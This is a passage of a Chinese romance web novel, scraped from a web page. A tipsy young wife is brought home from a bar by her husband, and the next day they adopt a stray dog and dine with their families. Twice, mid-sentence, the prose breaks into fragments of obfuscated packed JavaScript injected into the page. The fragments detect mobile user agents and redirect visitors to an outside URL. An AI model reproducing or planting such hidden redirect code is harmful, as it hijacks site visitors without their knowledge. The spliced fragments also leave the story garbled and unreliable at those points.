他身边这个是陈勘,万彩集团少东家,也就是这家酒吧现在的老板。他俩在留学那会儿就认识了,回国以后偶尔也会聚聚,和陈勘在一起基本上谈的都是生意经,他是个十足十的工作狂人。 不过今天只是单纯的好友聚会,一块的还有陈勘的几个朋友。 一坐下,陈勘就留意到了傅亭斯无名指上的戒指,很明显是一枚婚戒。 陈勘目光指了指那,问:“什么时候结婚的?” 傅亭斯摸了摸婚戒,低头含笑:“今天上午。” “动作这么迅速,喜酒可不能少啊。” 傅亭斯似乎想起了什么,嘴角的笑意敛了几分。 “嗯,少不了。” 在楼上的包厢待了有一个小时,陈勘说还要找经理谈点事,就一起下来了。 陈勘和经理谈着正事,偶尔间询问一下傅亭斯的意见。百无聊赖之间听到不远处的骚动,极轻微的,却还是吸引到了他的注意。 旁边有人对另一个说道:“你看那边那穿吊带亮片的,长得还挺正点,正往这看呢,不知道在看我们这的谁。” 恰好,傅亭斯的目光在不远处那个女人身上定格。 她穿着一条她往常从来没穿过,也不会穿的,吊带鱼尾裙,上面的亮片像鱼的鳞片一样,就算在酒吧昏暗的光线下,也叠荡着无比绚烂的波光。 傅亭斯从来没想到,她穿这样一身,竟会如此好看,腰是腰,臀是臀,胸型饱满,搭配着妆容,妩媚不失清靓,和平常完全不同的感觉。 只是,夏冬意怎么会出现在这里? 他没有忘记今天上午分开之前,是她亲口告诉他的。 她挺忙的。 都忙到酒吧来了。 确实够忙的。 — 现在跑还来得及吗? 夏冬意不太清醒地思考着这个不太清醒的问题。 旁边那两个兴奋得要死。 “靠啊,翘臀帅哥看过来了,靠啊,好像在看我们咚咚。咚咚,你在干什么咚咚?” 只见夏冬意拂开了她们,撑着桌子,用力往下压了压,勉强将歪斜的身子站直了。前脚迈开,虚晃两下,给郁吱吱和孙苒宁惊出一身汗,在身后拖住她,悄声说:“大姐,您都喝醉了,别去丢人现眼了……” 话没说完,被夏冬意推开,嘴里嘟囔:“我没醉!谁说我醉了我跟谁没完。” 力气还挺大,把两人推到了旁边,走起了标准的猫步。 那鱼尾裙上的亮片一晃一晃的,像极了一条美人鱼,在酒吧流光溢彩的光影下穿梭着。 而这整个过程,傅亭斯单手插兜,连眼神都是极静的,淡漠着,观摩着她的表演。 仿若匍匐在暗处,洞察一切的猎豹。 走了几步,夏冬意停下,身体站不住,她索性整个上半身挨住路过的柱子上,像一尾蛇,扶在上面,直勾勾的,模样妩媚地盯着男人,抬起手打了个风情万种的招呼:“嗨,别来无恙。” “……” 郁吱吱和孙苒宁想拉住她已经晚了,这会儿后悔也已经来不及了,只想来个消失术。 让人意料不到的事发生了。 就在夏冬意做完让人大跌眼镜的举动后,对面的男主低头抿着唇角,似乎是极力隐忍着嘴角的笑意。 下一秒,笔直朝夏冬意走了过来。 郁吱吱和孙苒宁简直呆住了,眼前这场景简直比电视剧还精彩。 同样呆住的还有傅亭斯身边的人。 就连陈勘也停下了交谈,侧过头来。他先是看向夏冬意,接着视线回到傅亭斯身上,眼里闪过疑问。 傅亭斯特意收住脚步,侧身对他说道:“那是我老婆。” “合法的。” 陈勘:“……” 傅亭斯人高腿长,步子大,没等郁吱吱和孙苒宁反应过来,人已到了夏冬意面前。 夏冬意仰着头,眼里醉意萌态,傻兮兮地朝着他笑:“你怎么……”她指着傅亭斯身后的位置,“从那里咻的一下……到这里的?你会魔法吗?” “……” 满身的酒气,傅亭斯皱了皱眉:“喝了多少酒,醉成这样?” “不多不多,”夏冬意伸出两根手指:“你最爱的血腥玛丽,嗝。” 傅亭斯嫌弃般的,侧了侧身,伸手在她面前扇了扇,又低头扫向裸露在空气中的雪白肌肤,还有一扫眼就抓人眼球的,那饱满的事业线。 傅亭斯侧身挡住了投注在她身上那几道不怀好意的目光,一手揽住夏冬意的腰肢,一手按住她的肩膀,正要将人抱起来的时候,郁吱吱和孙苒亭突然醒悟了过来,发了疯似的冲过来,扒拉着傅亭斯,嘴里乱七八糟叫着:“你要把她带到哪里去,就算你长得帅,你也不能乱来吧,喂喂喂,这里有保安吗,那个是不是你们老板,叫他过来……” 场面一度失控,耳边闹哄哄的。傅亭斯不耐烦地皱了皱眉,饶是这样也没将这俩姑娘推开,而是等这两人稍稍的安静下来时,淡淡说道:“我抱我自己的老婆,有什么问题?” 郁吱吱和孙苒宁怎么可能会相信,两人将傅亭斯挤到一边,一个扶着夏冬意的肩膀,另一个捧着她的脸,苦口婆心地喊道:“咚咚,你清醒一点啊,你认识他吗?” 虽然知道绝无可能认识,但再怎么说也要给帅哥一个面子吧。 谁知道。 夏冬意呆滞的目光,徐徐地抬起,定格在男人脸上,忽然歪嘴笑道:“哦,认得,我家旺财,不对,旺财怎么长得这么像傅亭斯这条狗呢?” 在夏冬意一字一顿叫出“傅亭斯”三个字的时候,郁吱吱和孙苒宁无一例外地同时石化住了,目送着傅亭斯抱着夏冬意离开。 夏冬意趴在男人的肩膀上,向身后的姐妹们吆喝着:“不要走啊,我还没喝过瘾呢,下次再一块儿喝啊。” “……” — 傅亭斯把醉醺醺的人抱进副驾,手撑着座位,低身帮她系安全带,出来的时候,夏冬意忽然靠近过来,带着酒气的唇瓣似羽毛般的擦过他的嘴唇。 昏暗的车厢里,近在咫尺的呼吸和体温,所有的动作都在那个当下停滞。傅亭斯喉结轻滚,调整了一下呼吸,正要往后撤开,一个清脆的巴掌拍在了他脸上。 夏冬意含混不清,骂骂咧咧:“臭东西,不学好,小小年纪,学流氓吃人豆腐……” 说着,扬高了手,第二个巴掌正要招呼下来,被傅亭斯握住了手腕,目光沉沉地望着她。 夏冬意歪着头,盈亮的眸子里裹着一层湿漉感,像动物幼年时候那样懵懵懂懂看着傅亭斯。 “看清楚了,我是谁?”傅亭斯松开了她。 夏冬意瞅了他半天,不确定的说:“难道你是程哥哥吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054634|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程哥哥是夏冬意给程子衡取的昵称,还说过,这是她独有的专属。当时傅亭斯就觉得挺恶心人的,时隔多年,再次听到,依旧这么认为。 他对程子衡没多大好感,理由不仅仅只是因为这个恶心人的昵称。 程子衡实夏冬意高中的校草,大夏冬意一届,是学校合奏团的领队,精通好几种乐器,属于校园里白衬衫男神那种类型。 这样的男生自然是众多女生追捧的对象。夏冬意也是其中之一。她和程子衡在一场晚会上认识,夏冬意是主持人,程子衡带领的合奏团在那次晚会上取得了圆满的成功。 夏冬意在早之前就听闻了程子衡的大名,见到本人以后,天天在傅亭斯面前夸他斯文温柔有气质。还说,我要不喜欢程子衡吧,反正我也没有喜欢的人。 傅亭斯不堪其扰,特意因这事去夏冬意学校找她。见过了程子衡以后,傅亭斯笑话夏冬意没见过世面。 “就这?校草?那也是因为我没在你们学校。” 吓得夏冬意紧忙捂住他嘴巴,偷偷地扫了扫周围,对他说:“你可闭嘴吧,别连累我挨揍。” 现在想起来还是让人无语的程度。 都到今天了,夏冬意还能在喝醉酒的时候,想起那个人来,傅亭斯气得胃疼,反而笑了:“我还是你爸呢。” 夏冬意却摇了摇头:“不对,程子衡没这么丑,我爸也……”她又摇摇头,“没这么丑。” “……” 傅亭斯自己也不明白,为什么跟一个喝得醉醺醺的人在这里较真这些。 说不定明天早上起来,她丁点都记不起来了。 只有他自己耿耿于怀。 自嘲笑了笑,傅亭斯将人按回座位:“睡觉吧。” 关上了夏冬意的车门。 绕过车头上了车。 正要开车,傅亭斯突然感到肩膀一重。 往旁边看去。 夏冬意不知什么时候睡着的,整个身体歪向了这边,不顾形象地靠在了他身上。安全带似乎都箍不住她。 呼吸清浅匀长,混着酒气,一下一下地萦绕在他周围。 她这样他是没办法好好开车的。 迟疑了一下,傅亭斯把她头扶正。 她的姿势并不舒展,大概是很不舒服,眉心也浅皱起来。 傅亭斯解开自己的安全带,靠过去,按动她的座椅按钮,整个椅子往后移,椅背放倒,又在她怀里放了个枕头,这才重新坐正身子,启动车子。 安静的车厢里只有仪表的走动着,傅亭斯开着车,不时间朝旁边扫两眼,察看夏冬意的情况。 车开到半途中,夏冬意似乎清醒过来了。 嘴里喃喃地叫:“傅亭斯。” 傅亭斯手扶着方向盘,侧过头去,一个单音节回她:“嗯?” “你开车稳一点好不好,我好不舒服,好想吐啊。” 傅亭斯朝仪表盘瞥了眼,不禁想笑。 他一个洁癖那么重的人,竟能忍受一个小醉鬼坐他车上,一辆跑车开得比蜗牛还要慢,还指责他开的不够稳。 对此,他竟然还不能发脾气。 因为待会儿,这人没准还会指控他凶人。 这不是她第一次喝醉酒,对于她的路数,傅亭斯不要太了解。 于是他也只好放软语气。哄着她。 拖长着语调回答:“行——” 16. 小狗不听话 傅亭斯把车开到盛爵公馆,那是父母给他当婚房用的。 他先自己下了车,绕过车头走到副驾门,拉开车门,打算把夏冬意抱出来。可这人说什么都不肯给他抱,还把一条腿伸出了车门外,非说没醉,要自己走出去。 傅亭斯懒得同她计较,靠车边抱着手,头稍稍往旁边歪了歪,说道:“走一条直线我看看。” “走就走,看不起谁啊。”夏冬意将两条腿都伸到了车外,歪歪扭扭地站起来,站在车边扭了扭身,将蹭到屁股上去的裙摆往下拉,嘴里嘀嘀咕咕地念着:“走直线,直线,直……” 她自以为走得相当笔直,实际上是东摇西晃,失去了平衡感,路在眼前起起伏伏,好几次都踉跄着要跌倒,不等傅亭斯过去扶她,人已经自己站好了,鱼尾裙的设计,双腿迈不开大步走。 夏冬意抓着大腿根两侧的裙子,像提裤子一样将它提到膝盖上面,双腿终于呼吸到了自由的空气,夏冬意还没来得及轻松地呼出一口气,下面便被一件男士外套遮盖住了。 接着,她被傅亭斯打横抱了起来。 “啊——”夏冬意尖叫一声,像杀猪般,一边叫,一边拼命挣扎着下去:“我有腿,我要自己走,你休想趁机占我便宜……” 傅亭斯将近一米九的身高,袖箍不知什么时候被他从小臂拉到了手肘上面的部位,手臂的肌肉力量因微微用力而突显着。 夏冬意如同一只小鸡仔,他一只手就能轻轻松松地箍住她,即便她用尽了力气,也翻腾不出什么浪花。 “我不是没让你走,你连条直线也走不清楚,还说自己没醉,”傅亭斯摁着怀里不停乱扭的姑娘,耐心同她讲着道理:“再说,我也不是别人,我是你丈夫,就算是名义上的,那也是合法的,话怎么能说得这么难听,你知道什么叫占便宜?” 夏冬意懒得听这些,或者说她现在也压根听不到他在讲什么,继续骂骂咧咧着:“谁知道你给我施了什么魔法,让我走不好路,有种你放我下去重新走,重新走一遍!” 傅亭斯将手心轻轻按在她头顶,压着嗓音,安抚道:“嘘,安静。” 夏冬意折腾累了,圈着傅亭斯的脖子睡着了。 盛爵公馆的房子闲置许久,每个月都有人定期打扫,庭院也有专人管理,随时都能住进来。傅亭斯原本并不想这么着急,毕竟是婚房,他还想弄得像样一点,布置得像个新房的样子,但今天事出有因,紧急又突然,实在想不出其他更好的去处。 倒不是没想过去他现在的住处,左思右想,傅亭斯还是觉得不妥。他知道夏冬意的脾气,站在她的角度上考虑,在这总是比在他那要好的。 秉持着在这先将就一晚的想法,傅亭斯上了楼,将她抱到主卧的床上,弯腰将她的头放到枕头上的时候,把夏冬意弄醒了。 睁开眼睛,先是看到了傅亭斯偌大的一张脸,她想都没想,扬起手就是啪嗒一个巴掌,结结实实拍在了他脸上,身子火速往后撤,瞪着傅亭斯大骂:“色狼,走开!” 傅亭斯先是懵了一下,下意识捂住那半边脸,待到反应过来后,既好气又无语,沉声道:“夏冬意,一晚上你打我两次。” “色狼!”夏冬意捂住前胸,身体靠紧床头,虎视眈眈着他:“滚开。” 傅亭斯什么也没说地站起来,去盥洗室挤了块毛巾出来,展开后盖夏冬意脸上:“洗把脸清醒清醒吧,喝的也不多,能醉成这样。” 松软温热的毛巾贴在夏冬意脸上,隔着这一层,傅亭斯的声音自上而下掉落,语气透着无奈,仿佛在说:真服了你。 他的举动和话语惹恼了她。 夏冬意扯下脸上的毛巾,反手扔在傅亭斯身上:“你才喝多了呢。起开。” 说着,推开了傅亭斯,起身准备下床。夏冬意刚一坐起,感觉天旋地转的,脚在地板上打着圈儿,鞋子就在眼前却像是没看见一样。 “还说你没醉。”傅亭斯叹口气,认命般的蹲下身,拿起一只鞋子,圈住她的右脚脚踝,轻轻塞进里面。 感受到他手掌的体温,夏冬意微微一怔,虽然醉着,脑袋晕晕乎乎的,但傅亭斯的这个动作还是给予了她不小的震慑。 她这会儿在酒精的作用下,言行不受大脑控制,出奇胆大。夏冬意弯起眼,侧着身,将一只肩膀完全地靠在傅亭斯身上,享受着他的服务的同时,手掌轻轻地拍了拍他的脸:“傅亭斯,你这条小狗,要是以后都对我这么温柔就好了。” 夏冬意语调轻轻软软的,像是梦呓般的,含混不清的说着,说完后,还轻轻捏了两下傅亭斯的脸颊。这是平时清醒的时候,夏冬意绝对干不出来的荒唐事迹。 傅亭斯显然也觉得这个动作非常的荒谬,以至于动作僵停了好几秒,才反应了过来,拍开她的手,仰起头看了她一会儿。 夏冬意大概是觉得他的皮肤手感不错,捏了第一次,就想捏第二次,甚至没有注意到傅亭斯目光里的无语,朝他伸出了手去,被傅亭斯握住了手腕。 薄光里,他白皙的喉结微微滚了几下,看着夏冬意问:“现在认出我来了?” “小狗,傅亭斯,嘿嘿嘿。”夏冬意凑过头来,温热的呼吸在一瞬之间拉近,她似乎不认为这个动作有什么不妥当,靠在他耳边亲昵道:“我要告诉你一个秘密——” “傅亭斯是小狗,啦啦啦啦啦,他不知道我给他备注的就是这个。哈哈哈哈哈哈。” 傅亭斯的无语达到了顶峰,虽然他知道不应该跟一个喝醉酒的人较这份真,但是夏冬意这摆明了就是来折腾他的,越是这个时候,他反而越平静,将另外一只鞋子帮她穿上以后,直起身坐在夏冬意床边,侧身朝向她,懒懒散散的说道:“哦,现在知道了。夏冬意,你是不是压根没醉,故意玩我呢?” 两人这个距离,如果傅亭斯想看,他只需要微微一低眼,就能看到她大半抹□□,但他并没有这么做,像是因为不想趁着她酒意最浓的时候,占她便宜。那样,连他自己也会瞧不起自己。 虽然现在和夏冬意已是名义上的夫妻,但傅亭斯还是不想那么做。因此,他的目光从头到尾都笔直着,眼里只看到夏冬意的脸。 然而,事实上是,他能控制得住自己,却控制不住状况外的夏冬意。她似乎永远有让人意想不到束手无措的本事。 就在傅亭斯说完后,夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来她是真醉的不清。 傅亭斯站起身来,夏冬意也站了起来:“我都发了誓,你不能言而不信。” 傅亭斯低头看了看她脚上,想起来。将她重新按回床上坐下,蹲下去帮她把脚上的鞋子脱了。 夏冬意显然误会了他的意思,眼巴巴地等着他。 傅亭斯蹲在地上,一只手搭在膝盖上,仰头对上她热烈的视线,忽地笑出了声:“真这么想啊?” 夏冬意用力摇头。 “今晚可不行。”傅亭斯站起了身,摸了摸她的头,像摸家里的宠物狗一样的神态,俯身对她讲道:“今晚可不行呢。” 望着女孩眨巴眨巴的困惑眼神,傅亭斯知道她心里有疑问。 于是笑了笑,从口袋里摸出来一支录音笔:“我怕你明天早上醒来倒打我一耙,先下手为强了,提前录下了。” “当然,”他一顿,用手轻轻捏了捏她的脸颊,“看你实在太可爱了,我怕我会忍不住,更怕明天早上起来你会哭鼻子。” “早点睡,晚安。”关门前,他转身对她这样说道,极尽温柔得不像傅亭斯本人。 17. 小狗不听话 第二天日上三竿,夏冬意揉着额角,于一片漆黑的室内睁开了惺忪的眼睛。 她这是在哪里? 不是她熟悉的房间。 昨晚发生了什么? 啊,她好像得了什么失忆症,痛苦地记不得了。 算了,先不管这个了。 夏冬意赤脚从床上坐起来,伸手去摸墙上的壁灯,啪嗒一声,室内通明。 房间很宽敞,布局简单大气,落地窗隔着一张从天花板直通而下的,绘着龙凤呈祥花纹的窗帘。这都什么年头了,还用这么老气的窗帘房子的。 主人这品味,真的不行不行。 夏冬意摇了摇头,目光也随之朝旁边掠了过去,那里是一扇通往阳台的门,红棕色的木门,金属的门把手,什么暴发户审美,夏冬意再次摇了摇头。 但是,这家的主人,到底是谁呢? 夏冬意忍着宿醉的恶心,痛苦不堪地努力回想着昨晚。 画面却只在她喝下几杯酒以后,意乱情迷的舞池,扭动的人群,不断闪烁的彩灯,还有她站了起来,想走,因为见到了某人。 某人…… 夏冬意猛地抖了两下。 好像是……傅亭斯。 夏冬意捂着疼痛的脑袋,一时分不清那是梦境,还是回忆。 房门在这时候开了。 当看到傅亭斯端着一个碗走进来的时候,夏冬意反倒松了一口气。 幸好是他,不是别人,没发生什么荒唐事。 等下。 谁说傅亭斯就安全了,搞不好,这狗人暗恋她多年未果,说不定昨晚趁机揩油。 她心里这么揣测着,眼睛直勾勾盯着傅亭斯,写满防备。 傅亭斯将碗放在她这侧的床头柜上,转身说道:“这么色眯眯地看着我干嘛?” “……”夏冬意看他的眼神像看个智障,语重心长地说道:“人要有点自信没错,自信过了头就是个笑话了。” 傅亭斯不在意的笑了笑,情绪丝毫没受到影响,吊儿郎当地说:“咱俩谁是个笑话还不一定。” 这话像是给了夏冬意一个警醒,她如临大敌般瞪着傅亭斯:“你昨晚……是不是对我做了什么?”说着,她扭了扭胳膊和脖子:“我说今天早上起来怎么腰酸背痛的,傅亭斯,你个流氓小人大混蛋。” 夏冬意骂人的话,翻来覆去就那么几句,傅亭斯背都会背了。他懒洋洋笑道:“这年头做贼的喊抓贼,幸好我防了一手,就怕你抵赖,来听听,昨晚你都对我说了些什么让人耳热的话。” 傅亭斯掏出一支录音笔,晃了晃。 夏冬意慌了一下,“什么、什么东西?不听,我不要听,拿走拿走。” 她捂住耳朵,另一只手去挥开他的手。 傅亭斯却已经摁下了按钮。 录音笔传来夏冬意清晰猥琐的笑声:“帅哥,你是几号男模,嗯……跟你们老板说,我要点你……看起来身材比傅亭斯有料,哦,脸也不错。” …… 关键是,后面傅亭斯还配合她说自己卖艺不卖身,太让人羞耻了。 更抓狂的是。 光听还不够,傅亭斯一副受到了极大委屈和侮辱的表情,指了指胸口,对她讲道:“你还摸了我这里。” 夏冬意想死的心都有了。 没有什么事,比得过结婚第一天当晚,喝断片以后强拉着老公做不可描述的行为,更炸裂的。 还有,谁家好人录这种东西的? 不愧是傅狗,也只有他干得出来。 夏冬意听不下去了,抢过来关掉,像是为了掩盖心虚,故意说道:“你这表情是什么意思,不就是被摸了一下而已,明明是你占到了便宜!” “不就是被摸了一下而已,明明是我占到便宜?”傅亭斯一字一顿,重复着她的话,快气笑了,论不要脸,夏冬意比他,有过之而无不及。 “还有啊,”傅亭斯端着打量的目光看着夏冬意:“酒后吐真言,夏冬意,你就承认吧。” 夏冬意被他看得发毛,“承认什么?” 傅亭斯意味不明地笑了笑,一脸看透她的意味:“你觊觎我的美色很多年了吧。” 夏冬意无语了一秒,吐出两个字:“神经。” “来,把这碗姜汤喝了吧。”傅亭斯转身端过碗,伸到夏冬意面前。 夏冬意脑海中突然滚出一张图片:大郎,吃药吧。 她不假思索地抬眼瞥他:“你该不会下毒了吧?” “……我倒是想,法律不允许。”傅亭斯低头若无其事地吹了吹,问她:“要我喂吗?” 夏冬意不知道他是怎么做到把这么恶心的话,用这么自然的语气和表情说出来的,一阵恶寒过后,她接过碗,“不用劳烦了,我的手脚还没废。” “没关系,”傅亭斯温温柔情地望着她,“这是为夫应该为你做的。” 这话再次把夏冬意整无语了,傅亭斯他脑子烧坏了吧,突然又发神经? 夏冬意皱着眉,屏住呼吸,像喝药一样把姜汤一口气干完,随手放下碗,头也没抬地对傅亭斯道:“退下吧,这里用不着你了,走的时候麻烦把碗带走。” 傅亭斯不紧不慢抬腕看表,“你上班要迟到了。” “啊啊啊啊啊啊啊!”夏冬意鬼叫起来,在房间里乱窜,“你怎么不早告诉我,完了完了,这个月的奖金泡汤了,呜呜呜呜呜,都怪你,你这条老狗。” “这又怪我?” “不是你跟我扯这么多屁话,我能还在这里吗?” “哦,”傅亭斯淡淡提醒她,“你起床就已经九点了。” “……” “对了,我已经帮你把上午的假请掉了,用的你的手机。” 夏冬意警觉起来,拿过手机,瞪着他:“你早上进我房间过了?” “这是我的房间,我为什么不能进来?” “……” “你怎么会有我的手机密码?” “你的密码,不就是那几个吗?这还用得着想?” “……”夏冬意要疯了。 “你走。我现在不想看到你。” “恐怕不行,我妈打来电话,让我们中午回家吃个饭,在我家,你爸妈也在。也就是说,你还有很长时间得和我呆在一块儿。”傅亭斯慢悠悠地说完,好整以暇地观赏着夏冬意的反应。 这是夏冬意听到的最恶毒的话了,至少对此刻的她而言是如此,看到傅亭斯的每时每刻,无不都在提醒着她昨晚种种的荒唐行径。 “我怎么不知道?要是去吃饭,我妈妈会打电话通知我的。”夏冬意反驳道。 “因为,”傅亭斯那双漂亮的桃花眼温和地注视着她,含着微微动人的笑意,“她的电话是我的接的。” “……”夏冬意赶紧打开了最近的来电显示,发现昨晚和今早确实有两则通话记录是她妈妈的。 夏冬意收起手机,抬眸怀疑地望着他:“你没对我妈说些有的没的吧?” 傅亭斯看着她的眼睛,笑得很坏:“说什么?” 夏冬意一看他的表情就知道:“你说什么?别装。” 傅亭斯轻轻歪了歪头:“装什么?” 夏冬意懊恼地去推他:“你到底跟我妈说了什么,肯定说了,你没说我喝酒的事吧?” 傅亭斯往后退了退,用手扇了两下,捂着鼻子皱皱眉,一脸嫌弃的样子:“一身酒味,好好儿洗个澡去吧。” 他故意把“好好”和“儿”分得老开来念,每个字都点一点头,像古人念诗一样,搞笑中带着抽象,没把夏冬意笑死。 — 洗过澡,夏冬意下楼,时间已经不早了,傅亭斯却没了人影。 她还没吃过东西,刚刚泡澡的时候都怀疑自己低血糖了,赶紧下楼来弄点好吃的,一边嚷着:“傅亭斯,你家里有没有吃的啊,我快饿死了,”一边在偌大的房子里走来走去,挨个房间找厨房,也找傅亭斯的身影。 奇怪,人去哪儿了。 这房子更是离谱,空荡荡的,啥吃的都没有。 夏冬意一次都没去过傅亭斯现在的住处,自然也不知道这不是他的固定住所,只在心里暗自生疑,这鬼地方空成这样,傅亭斯是怎么存活到现在的? 最后,她终于在院子里找到了傅亭斯。 他正蹲在院门前,拿着根火腿肠,喂一只浑身脏兮兮,灰突突的小土狗。 这火腿肠……她都没得吃,他竟然在喂狗? “这小狗好可爱,是谁家的啊?”夏冬意被小狗吸引了,蹲到旁边,仔细看着。 “不知道打哪儿冒出来的,应该是流浪狗吧。”傅亭斯喂完一根,转身去拿放在地上的第二根火腿肠。 夏冬意想起来了:“你家里都没吃的,我快饿晕了,你还有火腿肠喂小狗……” 话音还没落下,傅亭斯手里刚拆开的肉肠已经伸了过来:“要吃吗,宠物吃的。” 夏冬意看了看包装上的字:“你家里又不养宠物,怎么会有这种?” 小狗摇着尾巴,有点想靠近他,又不敢,傅亭斯把肉肠送到它嘴边,说道:“去商店买的,也给你买了吃的。” “在哪儿,我怎么没见着?” “车上。” 夏冬意看了会儿小狗,她有点怕,又有点好奇和喜欢。傅亭斯看出她的心思,把手里的肉肠递过去给她。 夏冬意犹豫着。 “试试?”他说。 同时将肉肠往她手心里塞了下。 夏冬意拿着肉肠,小心送到小狗嘴边,看到它吃得很欢,满眼都藏着欢喜,脱口而出:“傅亭斯,我们养它吧,它好可爱啊。” 傅亭斯怔了下:“你刚才说什么?” 夏冬意重复自己的话:“我们养它吧,好不好?” “好。”傅亭斯弯起眼睛。 夏冬意开心的像个孩子:“我有狗了,我有狗了,傅亭斯,”她扑到傅亭斯身上,勾住他脖子,差点把他栽倒,“傅亭斯,我终于有一条小狗了,是真正的小狗。” “……” 夏冬意没有顾及到傅亭斯的心情,完全沉浸在她有狗了的欢喜中,“我们给它取个什么名字呢,嗯,就叫傅小狗吧。” 傅亭斯沉默了半晌,幽幽开口:“这个名字,你觉得好听?” “不好听吗?”夏冬意说道:“还挺适合的啊,你姓傅,它作为你的兄弟,不应该也姓傅吗?” “就把你的乳名送给它,你还不舍得了啊。” 傅亭斯站起来:“你开心就好。” “傅小狗怎么办,我们就把它扔在这里,它会不会跑出去呀?”夏冬意把肉肠包装团在手里,望向傅亭斯的背影,不由担心道。 他顿了顿脚步,转身道:“这是个好问题,要不你把你的床让给它睡。” 他面无表情说完,走了。 夏冬意跟上前去:“那多不好啊,他是你兄弟,如果你把你的床让给它睡,它肯定会更开心的。” 傅亭斯没说话,而是看了她一眼,像是在说:给个眼神,你自己琢磨琢磨。 夏冬意毫无眼色,将香肠包装塞进了傅亭斯手里。 傅亭斯看着她。 夏冬意笑眯眯的说:“我找不到垃圾箱。” 傅亭斯:“你以为我找得到?” “这不是你家吗?” “不是。”傅亭斯大步跨上台阶。 夏冬意傻了,快步走上去:“这不是你家,那这是哪里?” 他们朝着地下停车库走去,傅亭斯一边走一边顺嘴回答:“婚房。” 夏冬意眨巴了下眼睛,意犹未尽地哦了一声。 傅亭斯狐疑看了眼她。 夏冬意用一种第一次认识他的眼神打量着他,继续笑眯眯的:“想不到啊,傅亭斯你这条狗,还挺想结婚的。” “谁不想结婚?”傅亭斯按亮了其中一辆车,这车的车门朝上的,夏冬意不会开,傅亭斯帮她打开副驾车门前看了看她,示意她上车,随后说道:“我巴不得早点结婚,好继承家业。” 夏冬意再傻也听得出来他这是一句自嘲,就没说什么了,乖乖上了车,傅亭斯在外面把车门关上了。 — 他们到傅家的时候,已经是午饭饭点。 傅亭斯停好车,解开安全带准备下车,被夏冬意拉住,特意叮嘱:“过会儿别露出马脚,我爸妈或者你爸妈问起来结婚的事,就说你暗恋我好久了,知道吗?” 傅亭斯笑了:“这种事上你还要占我便宜。” 夏冬意挥手打了他一下:“你到底配合不配合?” 傅亭斯笑着拖长音调:“行,一定演到你落泪。” “……” 夏冬意有点害怕起来了,忙说:“正常表演,别用力过猛,ok?” 傅亭斯回了她一个ok的手势。 两人各自下了车,夏冬意拿出在路上买的鲜花,让傅亭斯抱着,挽着他的手,一起朝大门走去。 在她的手穿过他的手臂,挽住他的时候,傅亭斯恍惚感觉心跳都慢了下来,低头看了眼夏冬意。 夏冬意捕捉到了他的眼神,眨了眨眼:“不要激动,这个环节只是情景需要,自然自然。” 傅亭斯没说什么,继续往前走。 还没进屋,就听到里面传来的笑声,听着像是江笑妍和傅亭斯的母亲葛楚微的声音。 两人在门口换上鞋,傅亭斯把花交给了 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这一幕把坐在对面的两方父母看懵了,你看我我看你。他们没有忘记以前这俩孩子有多讨厌彼此,还是互相放狠话的那种。不过似乎也好理解,大抵因为怕露馅,才这样做的吧。 总之这俩孩子能成一对,做父母的是最开心的。 葛楚微笑道:“咚咚,我让阿姨煲了母鸡汤,你多喝一点,这老母鸡特别好,是山上养的,跟野生差不多,不吃饲料的。” “好。”夏冬意弯起了双眸,笑得很甜。 饭桌上,两人故技重施,你喂我一口饭,我喂你一勺菜,老婆老公喊得好不亲热。 两家的父母无言相对而望,默默地看着他们的表演,都在奇怪,这俩孩子咋结了个婚变得这么黏糊了。 到了快吃完饭的时候,夏冬意想着昨晚自己没回家,今晚肯定得回家住,虽然不放心傅小狗,不过有傅亭斯她也不担心,于是就对江笑妍说道:“妈妈,过会儿你和爸爸回去,记得顺便带我一下,我没开车过来。” “嗳,你这孩子,”江笑妍笑着觑了眼她:“今晚你还要回家住啊,你俩刚结婚,你回家了,小斯怎么办?我和你爸,还有你葛姨和傅叔叔,我们都是过来人,这小两口新婚是感情最好的时候,要好好珍惜,等到以后就是左手搭右手,抱着都没滋没味了。” “小斯昨儿还说,他会照顾好你。小斯啊,咚咚你们一起长大,你最了解她的脾气性格,这孩子我们都是从小捧在手心里的,有时候说话会没轻没重的,心眼是一点儿都没有的,你多担待了。” 夏冬意一边听着母亲的话,一边低着脑袋在心里不服气的想,哼,他也没好到哪去,人比我更幼稚,只不过表面装的很稳重而已,就是为了衬托我的不稳重,这狗的心思我还不了解吗? 要他照顾好,还不如让傅小狗照顾我呢。 “我知道,爸、妈,你们把咚咚放心交给我。” 江笑妍和夏闻岸喜笑颜开,连连说道,“放心,放心。” 夏冬意没好气地瞥了眼傅亭斯,扁扁嘴,心道,我可一点都不放心。 还有,那是我爸妈,不是你爸妈好吧? 还真给你点阳光就灿烂,跟你领个证你跟着喊上了。 葛楚微接着说:“你们新房还有些东西没置办好,小斯,你列个清单趁最近天气好,赶紧去办妥,还有啊,婚礼的话,你们打算怎么弄,这可真得好好商量商量。” 傅亭斯一一答应下来。 向来最沉默的傅善民也开了口:“晚上让阿姨把你房间床单被套换一换,睡家里好了。” 傅亭斯已久没有回家住了,如果要住的话,房间的卫生还要打扫一下。 “不麻烦阿姨了,”傅亭斯看了眼忙着吃的夏冬意一眼:“咚咚喜欢自由一点,我们回自己那住吧。” 夏冬意楞了下,抬起头和傅亭斯对视上之后,反应过来他刚刚的话。 什么啊,又扯上她? 她有点郁闷的想,翻了个白眼让他自行体会,自顾自继续吃起了饭菜。 饭后,夏冬意逮着机会把傅亭斯拉出门外。 这一晚上,可把她憋坏了。 不是拿她做挡箭牌,就是联合她父母挤兑她,纯属是故意想气死她吧。 傅亭斯任由她拉着到了凉亭里。 